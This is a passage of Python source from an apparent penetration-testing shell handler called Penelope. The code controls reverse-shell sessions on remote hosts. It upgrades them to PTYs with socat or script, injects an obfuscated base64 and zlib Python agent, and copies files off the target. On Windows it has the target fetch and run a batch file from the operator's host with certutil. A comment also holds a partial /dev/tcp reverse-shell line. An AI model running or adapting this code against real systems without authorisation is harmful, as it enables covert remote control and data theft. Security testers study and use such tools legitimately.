self.echoing = False 2438 | self.prompt = response.splitlines()[-1].encode() 2439 | else: 2440 | def expect(data): 2441 | try: 2442 | data = data.decode() 2443 | except: 2444 | return False 2445 | if var_value1 + var_value2 in data: 2446 | return True 2447 | 2448 | response = self.exec( 2449 | f"${var_name1}='{var_value1}'; ${var_name2}='{var_value2}'; echo ${var_name1}${var_name2}\r\n", 2450 | raw=True, 2451 | expect_func=expect 2452 | ) 2453 | if not response: 2454 | return False 2455 | response = response.decode() 2456 | 2457 | if var_value1 + var_value2 in response: 2458 | self.OS = 'Windows' 2459 | self.type = 'Basic' 2460 | self.subtype = 'psh' 2461 | self.interactive = True 2462 | self.echoing = False 2463 | self.prompt = response.splitlines()[-1].encode() 2464 | if var_name1 in response and not f"echo ${var_name1}${var_name2}" in response: 2465 | self.type = 'PTY' 2466 | columns, lines = shutil.get_terminal_size() 2467 | cmd = ( 2468 | f"$width={columns}; $height={lines}; " 2469 | f"$Host.UI.RawUI.BufferSize = New-Object Management.Automation.Host.Size ($width, $height); " 2470 | f"$Host.UI.RawUI.WindowSize = New-Object -TypeName System.Management.Automation.Host.Size " 2471 | f"-ArgumentList ($width, $height)" 2472 | ) 2473 | self.exec(cmd) 2474 | self.prompt = response.splitlines()[-2].encode() 2475 | else: 2476 | self.prompt = re.sub(var_value1.encode() + var_value2.encode(), b"", self.prompt) 2477 | 2478 | self.get_shell_info(silent=True) 2479 | if self.tty: 2480 | self.type = 'PTY' 2481 | if self.type == 'PTY': 2482 | self.pty_ready = True 2483 | return True 2484 | 2485 | def exec( 2486 | self, 2487 | cmd=None, # The command line to run 2488 | raw=False, # Delimiters 2489 | value=False, # Will use the output elsewhere? 2490 | timeout=False, # Timeout 2491 | expect_func=None, # Function that determines what to wait for in the response 2492 | force_cmd=False, # Execute cmd command from powershell 2493 | separate=False, # If true, send cmd via this method but receive with TLV method (agent) 2494 | # --- Agent only args --- 2495 | agent_typing=False, # Simulate typing on shell 2496 | python=False, # Execute python command 2497 | stdin_src=None, # stdin stream source 2498 | stdout_dst=None, # stdout stream destination 2499 | stderr_dst=None, # stderr stream destination 2500 | stdin_stream=None, # stdin_stream object 2501 | stdout_stream=None, # stdout_stream object 2502 | stderr_stream=None, # stderr_stream object 2503 | agent_control=None # control queue 2504 | ): 2505 | if caller() == 'session_end': 2506 | value = True 2507 | 2508 | if self.agent and not agent_typing: # TODO environment will not be the same as shell 2509 | if cmd: 2510 | cmd = dedent(cmd) 2511 | if value: 2512 | buffer = io.BytesIO() 2513 | timeout = options.short_timeout if value else None 2514 | 2515 | if not stdin_stream: 2516 | stdin_stream = self.new_streamID 2517 | if not stdin_stream: 2518 | return 2519 | if not stdout_stream: 2520 | stdout_stream = self.new_streamID 2521 | if not stdout_stream: 2522 | return 2523 | if not stderr_stream: 2524 | stderr_stream = self.new_streamID 2525 | if not stderr_stream: 2526 | return 2527 | 2528 | _type = 'S'.encode() if not python else 'P'.encode() 2529 | self.send(Messenger.message( 2530 | Messenger.EXEC, _type + 2531 | stdin_stream.id + 2532 | stdout_stream.id + 2533 | stderr_stream.id + 2534 | cmd.encode() 2535 | )) 2536 | logger.debug(cmd) 2537 | #print(stdin_stream.id, stdout_stream.id, stderr_stream.id) 2538 | 2539 | rlist = [] 2540 | if stdin_src: 2541 | rlist.append(stdin_src) 2542 | if stdout_dst or value: 2543 | rlist.append(stdout_stream) 2544 | if stderr_dst or value: 2545 | rlist.append(stderr_stream) # FIX 2546 | if not rlist: 2547 | return True 2548 | 2549 | #rlist = [self.subchannel.control, stdout_stream, stderr_stream] 2550 | #if stdin_src: 2551 | # rlist.append(stdin_src) 2552 | 2553 | if not agent_control: 2554 | agent_control = self.subchannel.control # TEMP 2555 | rlist.append(agent_control) 2556 | while rlist != [agent_control]: 2557 | r, _, _ = select(rlist, [], [], timeout) 2558 | timeout = None 2559 | 2560 | if not r: 2561 | #stdin_stream.terminate() 2562 | #stdout_stream.terminate() 2563 | #stderr_stream.terminate() 2564 | break # TODO need to clear everything first 2565 | 2566 | for readable in r: 2567 | 2568 | if readable is agent_control: 2569 | command = agent_control.get() 2570 | if command == 'stop': 2571 | # TODO kill task here... 2572 | break 2573 | 2574 | if readable is stdin_src: 2575 | if hasattr(stdin_src, 'read'): # FIX 2576 | data = stdin_src.read(options.network_buffer_size) 2577 | elif hasattr(stdin_src, 'recv'): 2578 | try: 2579 | data = stdin_src.recv(options.network_buffer_size) 2580 | except OSError: 2581 | pass # TEEEEMP 2582 | stdin_stream.write(data) 2583 | if not data: 2584 | #stdin_stream << b"" 2585 | rlist.remove(stdin_src) 2586 | 2587 | if readable is stdout_stream: 2588 | data = readable.read(options.network_buffer_size) 2589 | if value: 2590 | buffer.write(data) 2591 | elif stdout_dst: 2592 | if hasattr(stdout_dst, 'write'): # FIX 2593 | stdout_dst.write(data) 2594 | stdout_dst.flush() 2595 | elif hasattr(stdout_dst, 'sendall'): 2596 | try: 2597 | stdout_dst.sendall(data) # maybe broken pipe 2598 | if not data: 2599 | if stdout_dst in rlist: 2600 | rlist.remove(stdout_dst) 2601 | except: 2602 | if stdout_dst in rlist: 2603 | rlist.remove(stdout_dst) 2604 | if not data: 2605 | rlist.remove(readable) 2606 | del self.streams[readable.id] 2607 | 2608 | if readable is stderr_stream: 2609 | data = readable.read(options.network_buffer_size) 2610 | if value: 2611 | buffer.write(data) 2612 | elif stderr_dst: 2613 | if hasattr(stderr_dst, 'write'): # FIX 2614 | stderr_dst.write(data) 2615 | stderr_dst.flush() 2616 | elif hasattr(stderr_dst, 'sendall'): 2617 | try: 2618 | stderr_dst.sendall(data) # maybe broken pipe 2619 | if not data: 2620 | if stderr_dst in rlist: 2621 | rlist.remove(stderr_dst) 2622 | except: 2623 | if stderr_dst in rlist: 2624 | rlist.remove(stderr_dst) 2625 | if not data: 2626 | rlist.remove(readable) 2627 | del self.streams[readable.id] 2628 | else: 2629 | continue 2630 | break 2631 | 2632 | stdin_stream << b"" # TOCHECK 2633 | stdin_stream.write(b"") 2634 | os.close(stdin_stream._read) 2635 | del self.streams[stdin_stream.id] 2636 | 2637 | return buffer.getvalue().rstrip().decode() if value else True 2638 | return None 2639 | 2640 | with self.lock: 2641 | self.subchannel.control.clear() 2642 | if self.need_control_session and not self.bypass_control_session: 2643 | args = locals() 2644 | del args['self'] 2645 | response = self.control_session.exec(**args) 2646 | return response 2647 | 2648 | if not self or not self.subchannel.can_use: 2649 | logger.debug("Exec: The session is killed") 2650 | return False 2651 | 2652 | self.subchannel.active = True 2653 | self.subchannel.result = None 2654 | buffer = io.BytesIO() 2655 | _start = time.perf_counter() 2656 | 2657 | # Constructing the payload 2658 | if cmd is not None: 2659 | if force_cmd and self.subtype == 'psh': 2660 | cmd = f"cmd /c '{cmd}'" 2661 | initial_cmd = cmd 2662 | cmd = cmd.encode() 2663 | 2664 | if raw: 2665 | if self.OS == 'Unix': 2666 | echoed_cmd_regex = rb' ' + re.escape(cmd) + rb'\r?\n' 2667 | cmd = b' ' + cmd + b'\n' 2668 | 2669 | elif self.OS == 'Windows': 2670 | cmd = cmd + b'\r\n' # TODO SOS echoed_cmd_regex check 2671 | else: 2672 | token = [rand(10) for _ in range(4)] 2673 | 2674 | if self.OS == 'Unix': 2675 | cmd = ( 2676 | f" {token[0]}={token[1]} {token[2]}={token[3]};" 2677 | f"printf ${token[0]}${token[2]};" 2678 | f"{cmd.decode()};" 2679 | f"printf ${token[2]}${token[0]}\n".encode() 2680 | ) 2681 | 2682 | elif self.OS == 'Windows': # TODO fix logic 2683 | if self.subtype == 'cmd': 2684 | cmd = ( 2685 | f"set {token[0]}={token[1]}&set {token[2]}={token[3]}\r\n" 2686 | f"echo %{token[0]}%%{token[2]}%&{cmd.decode()}&" 2687 | f"echo %{token[2]}%%{token[0]}%\r\n".encode() 2688 | ) 2689 | elif self.subtype == 'psh': 2690 | cmd = ( 2691 | f"$env:{token[0]}=\"{token[1]}\";$env:{token[2]}=\"{token[3]}\"\r\n" 2692 | f"echo $env:{token[0]}$env:{token[2]};{cmd.decode()};" 2693 | f"echo $env:{token[2]}$env:{token[0]}\r\n".encode() 2694 | ) 2695 | # TODO check the maxlength on powershell 2696 | if self.subtype == 'cmd' and len(cmd) > MAX_CMD_PROMPT_LEN: 2697 | logger.error(f"Max cmd prompt length: {MAX_CMD_PROMPT_LEN} characters") 2698 | return False 2699 | 2700 | self.subchannel.pattern = re.compile( 2701 | rf"{token[1]}{token[3]}(.*){token[3]}{token[1]}" 2702 | rf"{'.' if self.interactive else ''}".encode(), re.DOTALL) 2703 | 2704 | logger.debug(f"\n\n{paint(f'Command for session {self.id}').YELLOW}: {initial_cmd}") 2705 | logger.debug(f"{paint('Command sent').yellow}: {cmd.decode()}") 2706 | if self.agent and agent_typing: 2707 | cmd = Messenger.message(Messenger.SHELL, cmd) 2708 | self.send(cmd) 2709 | self.subchannel.allow_receive_shell_data = False # TODO 2710 | 2711 | data_timeout = options.short_timeout if timeout is False else timeout 2712 | continuation_timeout = options.latency 2713 | timeout = data_timeout 2714 | 2715 | last_data = time.perf_counter() 2716 | need_check = False 2717 | while self.subchannel.result is None: 2718 | logger.debug(paint(f"Waiting for data (timeout={timeout})...").blue) 2719 | readables, _, _ = select([self.subchannel.control, self.subchannel], [], [], timeout) 2720 | 2721 | if self.subchannel.control in readables: 2722 | command = self.subchannel.control.get() 2723 | logger.debug(f"Subchannel Control Queue: {command}") 2724 | 2725 | if command == 'stop': 2726 | self.subchannel.result = False 2727 | break 2728 | 2729 | elif command == 'kill': 2730 | self.subchannel.can_use = False 2731 | self.subchannel.result = False 2732 | break 2733 | 2734 | if self.subchannel in readables: 2735 | logger.debug(f"Latency: {time.perf_counter() - last_data}") 2736 | last_data = time.perf_counter() 2737 | 2738 | data = self.subchannel.read() 2739 | buffer.write(data) 2740 | logger.debug(f"{paint('Received').GREEN} -> {data}") 2741 | 2742 | if timeout == data_timeout: 2743 | timeout = continuation_timeout 2744 | need_check = True 2745 | 2746 | else: 2747 | if timeout == data_timeout: 2748 | logger.debug(paint("TIMEOUT").RED) 2749 | self.subchannel.result = False 2750 | break 2751 | else: 2752 | need_check = True 2753 | timeout = data_timeout 2754 | 2755 | if need_check: 2756 | need_check = False 2757 | 2758 | if raw and self.echoing and cmd: 2759 | result = buffer.getvalue() 2760 | if re.search(echoed_cmd_regex + (b'.' if self.interactive else b''), result, re.DOTALL): 2761 | self.subchannel.result = re.sub(echoed_cmd_regex, b'', result) 2762 | break 2763 | else: 2764 | logger.debug("The echoable is not exhausted") 2765 | continue 2766 | if not raw: 2767 | check = self.subchannel.pattern.search(buffer.getvalue()) 2768 | if check: 2769 | logger.debug(paint('Got all data!').green) 2770 | self.subchannel.result = check[1] 2771 | break 2772 | logger.debug(paint('We didn\'t get all data; continue receiving').yellow) 2773 | 2774 | elif expect_func: 2775 | if expect_func(buffer.getvalue()): 2776 | logger.debug(paint(f"The expected strings found in data").yellow) 2777 | self.subchannel.result = buffer.getvalue() 2778 | else: 2779 | logger.debug(paint('No expected strings found in data. Receive again...').yellow) 2780 | 2781 | else: 2782 | logger.debug(paint('Maybe got all data !?').yellow) 2783 | self.subchannel.result = buffer.getvalue() 2784 | break 2785 | 2786 | _stop = time.perf_counter() 2787 | logger.debug(f"{paint('FINAL TIME: ').white_BLUE}{_stop - _start}") 2788 | 2789 | if value and self.subchannel.result is not False: 2790 | self.subchannel.result = self.subchannel.result.strip().decode() # TODO check strip 2791 | logger.debug(f"{paint('FINAL RESPONSE: ').white_BLUE}{self.subchannel.result}") 2792 | self.subchannel.active = False 2793 | 2794 | if separate and self.subchannel.result: 2795 | self.subchannel.result = re.search(rb"..\x01.*", self.subchannel.result, re.DOTALL)[0] 2796 | buffer = io.BytesIO() 2797 | for _type, _value in self.messenger.feed(self.subchannel.result): 2798 | buffer.write(_value) 2799 | return buffer.getvalue() 2800 | 2801 | return self.subchannel.result 2802 | 2803 | def need_binary(self, name, url): 2804 | options = ( 2805 | f"\n 1) Upload {paint(url).blue}{paint().magenta}" 2806 | f"\n 2) Upload local {name} binary" 2807 | f"\n 3) Specify remote {name} binary path" 2808 | f"\n 4) None of the above\n" 2809 | ) 2810 | print(paint(options).magenta) 2811 | answer = ask("Select action: ") 2812 | 2813 | if answer == "1": 2814 | return self.upload( 2815 | url, 2816 | remote_path=self.tmp, 2817 | randomize_fname=False 2818 | )[0] 2819 | 2820 | elif answer == "2": 2821 | local_path = ask(f"Enter {name} local path: ") 2822 | if local_path: 2823 | if os.path.exists(local_path): 2824 | return self.upload( 2825 | local_path, 2826 | remote_path=self.tmp, 2827 | randomize_fname=False 2828 | )[0] 2829 | else: 2830 | logger.error("The local path does not exist...") 2831 | 2832 | elif answer == "3": 2833 | remote_path = ask(f"Enter {name} remote path: ") 2834 | if remote_path: 2835 | if not self.exec(f"test -f {remote_path} || echo x"): 2836 | return remote_path 2837 | else: 2838 | logger.error("The remote path does not exist...") 2839 | 2840 | elif answer == "4": 2841 | return False 2842 | 2843 | return self.need_binary(name, url) 2844 | 2845 | def upgrade(self): 2846 | self.upgrade_attempted = True 2847 | if self.OS == "Unix": 2848 | if self.agent: 2849 | logger.warning("Python Agent is already deployed") 2850 | return False 2851 | 2852 | if self.need_control_sessions and self.control_sessions == [self]: 2853 | logger.warning("This is a control session and cannot be upgraded") 2854 | return False 2855 | 2856 | if self.pty_ready: 2857 | if self.can_deploy_agent: 2858 | logger.info("Attempting to deploy Python Agent...") 2859 | else: 2860 | logger.warning("This shell is already PTY") 2861 | else: 2862 | logger.info("Attempting to upgrade shell to PTY...") 2863 | 2864 | self.shell = self.bin['bash'] or self.bin['sh'] 2865 | if not self.shell: 2866 | logger.warning("Cannot detect shell. Abort upgrading...") 2867 | return False 2868 | 2869 | if self.can_deploy_agent: 2870 | _bin = self.bin['python3'] or self.bin['python'] 2871 | if self.remote_python_version >= (3,): 2872 | _decode = 'b64decode' 2873 | _exec = 'exec(cmd, globals(), locals())' 2874 | else: 2875 | _decode = 'decodestring' 2876 | _exec = 'exec cmd in globals(), locals()' 2877 | 2878 | agent = dedent('\n'.join(AGENT.splitlines()[1:])).format( 2879 | self.shell, 2880 | options.network_buffer_size, 2881 | MESSENGER, 2882 | STREAM, 2883 | self.bin['sh'] or self.bin['bash'], 2884 | _exec 2885 | ) 2886 | payload = base64.b64encode(compress(agent.encode(), 9)).decode() 2887 | cmd = f'{_bin} -Wignore -c \'import base64,zlib;exec(zlib.decompress(base64.{_decode}("{payload}")))\'' 2888 | 2889 | elif not self.pty_ready: 2890 | socat_cmd = f"{{}} - exec:{self.shell},pty,stderr,setsid,sigint,sane;exit 0" 2891 | if self.bin['script']: 2892 | _bin = self.bin['script'] 2893 | cmd = f"{_bin} -q /dev/null; exit 0" 2894 | 2895 | elif self.bin['socat']: 2896 | _bin = self.bin['socat'] 2897 | cmd = socat_cmd.format(_bin) 2898 | 2899 | else: 2900 | _bin = self.tmp + '/socat' 2901 | if not self.exec(f"test -f {_bin} || echo x"): # TODO maybe needs rstrip 2902 | cmd = socat_cmd.format(_bin) 2903 | else: 2904 | logger.warning("Cannot upgrade shell with the available binaries...") 2905 | socat_binary = self.need_binary("socat", URLS['socat']) 2906 | if socat_binary: 2907 | _bin = socat_binary 2908 | cmd = socat_cmd.format(_bin) 2909 | else: 2910 | if readline: 2911 | logger.info("Readline support enabled") 2912 | self.readline = True 2913 | self.type = 'Readline' 2914 | return True 2915 | else: 2916 | logger.error("Falling back to basic shell support") 2917 | return False 2918 | 2919 | if not self.can_deploy_agent and not self.spare_control_sessions: 2920 | logger.warning("Python agent cannot be deployed. I need to maintain at least one basic session to handle the PTY") 2921 | core.session_wait_host = self.name 2922 | self.spawn() 2923 | try: 2924 | new_session = core.sessions[core.session_wait.get(timeout=options.short_timeout)] 2925 | core.session_wait_host = None 2926 | 2927 | except queue.Empty: 2928 | logger.error("Failed spawning new session") 2929 | return False 2930 | 2931 | if self.pty_ready: 2932 | return True 2933 | 2934 | if self.pty_ready: 2935 | self.exec("stty -echo") 2936 | self.echoing = False 2937 | 2938 | elif self.interactive: 2939 | # Some shells are unstable in interactive mode 2940 | # For example: & /dev/tcp/X.X.X.X/4444 0>&1"); ?> 2941 | # Silently convert the shell to non-interactive before PTY upgrade. 2942 | self.interactive = False 2943 | self.echoing = True 2944 | self.exec(f"exec {self.shell}", raw=True) 2945 | self.echoing = False 2946 | 2947 | response = self.exec( 2948 | f'export TERM=xterm-256color; export SHELL={self.shell}; {cmd}', 2949 | separate=self.can_deploy_agent, 2950 | expect_func=lambda data: not self.can_deploy_agent or b"\x01" in data, 2951 | raw=True 2952 | ) 2953 | if self.can_deploy_agent and not isinstance(response, bytes): 2954 | logger.error("The shell became unresponsive. I am killing it, sorry... Next time I will not try to deploy agent") 2955 | Path(self.directory / ".noagent").touch() 2956 | self.kill() 2957 | return False 2958 | 2959 | logger.info(f"Shell upgraded successfully using {paint(_bin).yellow}{paint().green}! 💪") 2960 | 2961 | self.agent = self.can_deploy_agent 2962 | self.type = 'PTY' 2963 | self.interactive = True 2964 | self.echoing = True 2965 | self.prompt = response 2966 | 2967 | self.get_shell_info() 2968 | 2969 | if _bin == self.bin['script']: 2970 | self.bypass_control_session = True 2971 | self.exec("stty sane") 2972 | self.bypass_control_session = False 2973 | 2974 | elif self.OS == "Windows": 2975 | if self.type != 'PTY': 2976 | self.readline = True 2977 | logger.info("Added readline support...") 2978 | 2979 | return True 2980 | 2981 | def update_pty_size(self): 2982 | columns, lines = shutil.get_terminal_size() 2983 | if self.OS == 'Unix': 2984 | if self.agent: 2985 | self.send(Messenger.message(Messenger.RESIZE, struct.pack("HH", lines, columns))) 2986 | else: # TODO 2987 | threading.Thread( 2988 | target=self.exec, 2989 | args=(f"stty rows {lines} columns {columns} -F {self.tty}",), 2990 | name="RESIZE" 2991 | ).start() #TEMP 2992 | elif self.OS == 'Windows': # TODO 2993 | pass 2994 | 2995 | def readline_loop(self): 2996 | while core.attached_session == self: 2997 | try: 2998 | cmd = input("\033[s\033[u", self.histfile, options.histlength, None, "\t") # TODO 2999 | if self.subtype == 'cmd': 3000 | assert len(cmd) <= MAX_CMD_PROMPT_LEN 3001 | #self.record(b"\n" + cmd.encode(), _input=True) 3002 | 3003 | except EOFError: 3004 | self.detach() 3005 | break 3006 | except AssertionError: 3007 | logger.error(f"Maximum prompt length is {MAX_CMD_PROMPT_LEN} characters. Current prompt is {len(cmd)}") 3008 | else: 3009 | self.send(cmd.encode() + b"\n") 3010 | 3011 | def attach(self): 3012 | if threading.current_thread().name != 'Core': 3013 | if self.new: 3014 | self.new = False 3015 | self.bypass_control_session = True 3016 | upgrade_conditions = [ 3017 | not options.no_upgrade, 3018 | not (self.need_control_session and self.control_sessions == [self]), 3019 | not self.upgrade_attempted 3020 | ] 3021 | if all(upgrade_conditions): 3022 | self.upgrade() 3023 | self.bypass_control_session = False 3024 | 3025 | if self.prompt: 3026 | self.record(self.prompt) 3027 | 3028 | core.control << f'self.sessions[{self.id}].attach()' 3029 | menu.active.clear() # Redundant but safeguard 3030 | return True 3031 | 3032 | if core.attached_session is not None: 3033 | return False 3034 | 3035 | if self.type == 'PTY': 3036 | escape_key = options.escape['key'] 3037 | elif self.readline: 3038 | escape_key = 'Ctrl-D' 3039 | else: 3040 | escape_key = 'Ctrl-C' 3041 | 3042 | logger.info( 3043 | f"Interacting with session {paint('[' + str(self.id) + ']').red}" 3044 | f"{paint(', Shell Type:').green} {paint(self.type).CYAN}{paint(', Menu key:').green} " 3045 | f"{paint(escape_key).MAGENTA} " 3046 | ) 3047 | 3048 | if not options.no_log: 3049 | logger.info(f"Logging to {paint(self.logpath).yellow_DIM} 📜") 3050 | print(paint('─').DIM * shutil.get_terminal_size()[0]) 3051 | 3052 | core.attached_session = self 3053 | core.rlist.append(sys.stdin) 3054 | 3055 | stdout(bytes(self.last_lines)) 3056 | 3057 | if self.type == 'PTY': 3058 | tty.setraw(sys.stdin) 3059 | os.kill(os.getpid(), signal.SIGWINCH) 3060 | 3061 | elif self.readline: 3062 | threading.Thread(target=self.readline_loop).start() 3063 | 3064 | self._cwd = None 3065 | return True 3066 | 3067 | def sync_cwd(self): 3068 | self._cwd = None 3069 | if self.agent: 3070 | self.exec(f"os.chdir('{self.cwd}')", python=True, value=True) 3071 | elif self.need_control_session: 3072 | self.control_session.exec(f"cd {self.cwd}") 3073 | 3074 | def detach(self): 3075 | if self and self.OS == 'Unix' and (self.agent or self.need_control_session): 3076 | threading.Thread(target=self.sync_cwd).start() 3077 | 3078 | if threading.current_thread().name != 'Core': 3079 | core.control << f'self.sessions[{self.id}].detach()' 3080 | return 3081 | 3082 | if core.attached_session is None: 3083 | return False 3084 | 3085 | core.attached_session = None 3086 | core.rlist.remove(sys.stdin) 3087 | 3088 | if not self.type == 'Basic': 3089 | termios.tcsetattr(sys.stdin, termios.TCSADRAIN, TTY_NORMAL) 3090 | 3091 | if self.id in core.sessions: 3092 | print() 3093 | logger.warning("Session detached ⇲") 3094 | menu.set_id(self.id) 3095 | else: 3096 | if options.single_session and not core.sessions: 3097 | core.stop() 3098 | logger.info("Penelope exited due to Single Session mode") 3099 | return 3100 | menu.set_id(None) 3101 | menu.show() 3102 | 3103 | return True 3104 | 3105 | def download(self, remote_items): 3106 | # Initialization 3107 | try: 3108 | shlex.split(remote_items) # Early check for shlex errors 3109 | except ValueError as e: 3110 | logger.error(e) 3111 | return [] 3112 | 3113 | local_download_folder = self.directory / "downloads" 3114 | try: 3115 | local_download_folder.mkdir(parents=True, exist_ok=True) 3116 | except Exception as e: 3117 | logger.error(e) 3118 | return [] 3119 | 3120 | if self.OS == 'Unix': 3121 | # Check for local available space 3122 | available_bytes = shutil.disk_usage(local_download_folder).free 3123 | if self.agent: 3124 | block_size = os.statvfs(local_download_folder).f_frsize 3125 | response = self.exec(f"{GET_GLOB_SIZE}" 3126 | f"stdout_stream << str(get_glob_size({repr(remote_items)}, {block_size})).encode()", 3127 | python=True, 3128 | value=True 3129 | ) 3130 | try: 3131 | remote_size = int(float(response)) 3132 | except: 3133 | logger.error(response) 3134 | return [] 3135 | else: 3136 | cmd = f"du -ck {remote_items}" 3137 | response = self.exec(cmd, timeout=None, value=True) 3138 | if not response: 3139 | logger.error("Cannot determine remote size") 3140 | return [] 3141 | #errors = [line[4:] for line in response.splitlines() if line.startswith('du: ')] 3142 | #for error in errors: 3143 | # logger.error(error) 3144 | remote_size = int(response.splitlines()[-1].split()[0]) * 1024 3145 | 3146 | need = remote_size - available_bytes 3147 | 3148 | if need > 0: 3149 | logger.error( 3150 | f"--- Not enough space to download... {paint('We need ').blue}" 3151 | f"{paint().yellow}{need:,}{paint().blue} more bytes..." 3152 | ) 3153 | return [] 3154 | 3155 | # Packing and downloading 3156 | if self.agent: 3157 | stdin_stream = self.new_streamID 3158 | stdout_stream = self.new_streamID 3159 | stderr_stream = self.new_streamID 3160 | 3161 | if not all([stdout_stream, stderr_stream]): 3162 | return 3163 | 3164 | code = fr""" 3165 | from glob import glob 3166 | normalize_path = lambda path: os.path.normpath(os.path.expandvars(os.path.expanduser(path))) 3167 | items = [] 3168 | for part in shlex.split({repr(remote_items)}): 3169 | _items = glob(normalize_path(part)) 3170 | if _items: 3171 | items.extend(_items) 3172 | else: 3173 | items.append(part) 3174 | import tarfile 3175 | if hasattr(tarfile, 'DEFAULT_FORMAT'): 3176 | tarfile.DEFAULT_FORMAT = tarfile.PAX_FORMAT 3177 | else: 3178 | tarfile.TarFile.posix = True 3179 | tar = tarfile.open(name="", mode='w|gz', fileobj=stdout_stream) 3180 | def handle_exceptions(func): 3181 | def inner(*args, **kwargs): 3182 | try: 3183 | func(*args, **kwargs) 3184 | except: 3185 | stderr_stream << (str(sys.exc_info()[1]) + '\n').encode() 3186 | return inner 3187 | tar.add = handle_exceptions(tar.add) 3188 | for item in items: 3189 | try: 3190 | tar.add(os.path.abspath(item)) 3191 | except: 3192 | stderr_stream << (str(sys.exc_info()[1]) + '\n').encode() 3193 | tar.close() 3194 | """ 3195 | 3196 | threading.Thread(target=self.exec, args=(code, ), kwargs={ 3197 | 'python': True, 3198 | 'stdin_stream': stdin_stream, 3199 | 'stdout_stream': stdout_stream, 3200 | 'stderr_stream': stderr_stream 3201 | }).start() 3202 | 3203 | error_buffer = '' 3204 | while True: 3205 | r, _, _ = select([stderr_stream], [], []) 3206 | data = stderr_stream.read(options.network_buffer_size) 3207 | if data: 3208 | error_buffer += data.decode() 3209 | while '\n' in error_buffer: 3210 | line, error_buffer = error_buffer.split('\n', 1) 3211 | logger.error(str(paint("").cyan) + " " + str(paint(line).red)) 3212 | else: 3213 | break 3214 | 3215 | tar_source, mode = stdout_stream, "r|gz" 3216 | else: 3217 | temp = self.tmp + "/" + rand(8) 3218 | cmd = rf'for file in {remote_items};do readlink -f "$file";done|xargs -d"\n" tar cz|base64 -w0 > {temp}' 3219 | response = self.exec(cmd, timeout=None, value=True) 3220 | if not response: 3221 | logger.error("Cannot create archive") 3222 | return [] 3223 | errors = [line[5:] for line in response.splitlines() if line.startswith('tar: /')] 3224 | for error in errors: 3225 | logger.error(error) 3226 | send_size = int(self.exec(rf"stat {temp} | sed -n 's/.*Size: \([0-9]*\).*/\1/p'")) 3227 | 3228 | b64data = io.BytesIO() 3229 | for offset in range(0, send_size, options.download_chunk_size): 3230 | response = self.exec(f"cut -c{offset + 1}-{offset + options.download_chunk_size} {temp}") 3231 | if response is False: 3232 | logger.error("Download interrupted") 3233 | return [] 3234 | b64data.write(response) 3235 | self.exec(f"rm {temp}") 3236 | 3237 | data = io.BytesIO() 3238 | data.write(base64.b64decode(b64data.getvalue())) 3239 | data.seek(0) 3240 | 3241 | tar_source, mode = data, "r:gz" 3242 | 3243 | #print(remote_size) 3244 | #if not remote_size: 3245 | # return [] 3246 | 3247 | # Local extraction 3248 | try: 3249 | tar = tarfile.open(mode=mode, fileobj=tar_source) 3250 | except: 3251 | logger.error("Invalid data returned") 3252 | return [] 3253 | 3254 | def add_w(func): 3255 | def inner(*args, **kwargs): 3256 | args[0].mode |= 0o200 3257 | func(*args, **kwargs) 3258 | return inner 3259 | 3260 | tar._extract_member = add_w(tar._extract_member) 3261 | 3262 | with warnings.catch_warnings(): 3263 | warnings.simplefilter("ignore", category=DeprecationWarning) 3264 | try: 3265 | tar.extractall(local_download_folder) 3266 | except Exception as e: 3267 | logger.error(str(paint("").yellow) + " " + str(paint(e).red)) 3268 | tar.close() 3269 | 3270 | if self.agent: 3271 | stdin_stream.write(b"") 3272 | os.close(stdin_stream._read) 3273 | os.close(stdin_stream._write) 3274 | del self.streams[stdin_stream.id] 3275 | os.close(stdout_stream._read) 3276 | del self.streams[stdout_stream.id] 3277 | del self.streams[stderr_stream.id] 3278 | 3279 | # Get the remote absolute paths 3280 | response = self.exec(f""" 3281 | from glob import glob 3282 | normalize_path = lambda path: os.path.normpath(os.path.expandvars(os.path.expanduser(path))) 3283 | remote_paths = '' 3284 | for part in shlex.split({repr(remote_items)}): 3285 | result = glob(normalize_path(part)) 3286 | if result: 3287 | for item in result: 3288 | if os.path.exists(item): 3289 | remote_paths += os.path.abspath(item) + "\\n" 3290 | else: 3291 | remote_paths += part + "\\n" 3292 | stdout_stream << remote_paths.encode() 3293 | """, python=True, value=True) 3294 | else: 3295 | cmd = f'for file in {remote_items}; do if [ -e "$file" ]; then readlink -f "$file"; else echo "$file"; fi; done' 3296 | response = self.exec(cmd, timeout=None, value=True) 3297 | if not response: 3298 | logger.error("Cannot get remote paths") 3299 | return [] 3300 | 3301 | remote_paths = response.splitlines() 3302 | 3303 | # Present the downloads 3304 | downloaded = [] 3305 | for path in remote_paths: 3306 | local_path = local_download_folder / path[1:] 3307 | if os.path.isabs(path) and os.path.exists(local_path): 3308 | downloaded.append(local_path) 3309 | else: 3310 | logger.error(f"{paint('Download Failed').RED_white} {shlex.quote(path)}") 3311 | 3312 | elif self.OS == 'Windows': 3313 | remote_tempfile = f"{self.tmp}\\{rand(10)}.zip" 3314 | tempfile_bat = f'/dev/shm/{rand(16)}.bat' 3315 | remote_items_ps = r'\", \"'.join(shlex.split(remote_items)) 3316 | cmd = ( 3317 | f'@powershell -command "$archivepath=\'{remote_tempfile}\';compress-archive -path \'{remote_items_ps}\'' 3318 | ' -DestinationPath $archivepath;' 3319 | '$b64=[Convert]::ToBase64String([IO.File]::ReadAllBytes($archivepath));' 3320 | 'Remove-Item $archivepath;' 3321 | 'Write-Host $b64"' 3322 | ) 3323 | with open(tempfile_bat, "w") as f: 3324 | f.write(cmd) 3325 | 3326 | server = FileServer(host=self._host, url_prefix=rand(8), quiet=True) 3327 | urlpath_bat = server.add(tempfile_bat) 3328 | temp_remote_file_bat = urlpath_bat.split("/")[-1] 3329 | server.start() 3330 | data = self.exec( 3331 | f'certutil -urlcache -split -f "http://{self._host}:{server.port}{urlpath_bat}" ' 3332 | f'"%TEMP%\\{temp_remote_file_bat}" >NUL 2>&1&"%TEMP%\\{temp_remote_file_bat}"&' 3333 | f'del "%TEMP%\\{temp_remote_file_bat}"', 3334 | force_cmd=True, value=True, timeout=None) 3335 | server.stop() 3336 | 3337 | if not data: 3338 | return [] 3339 | downloaded = set() 3340 | try: 3341 | with zipfile.ZipFile(io.BytesIO(base64.b64decode(data)), 'r') as zipdata: 3342 | for item in zipdata.infolist(): 3343 | item.filename = item.filename.replace('\\', '/') 3344 | downloaded.add(Path(local_download_folder) / Path(item.filename.split('/')[0])) 3345 | newpath = Path(zipdata.extract(item, path=local_download_folder)) 3346 | 3347 | except zipfile.BadZipFile: 3348 | logger.error("Invalid zip format") 3349 | 3350 | except binascii_error: 3351 | logger.error("The item does not exist or access is denied") 3352 | 3353 | for item in downloaded: 3354 | 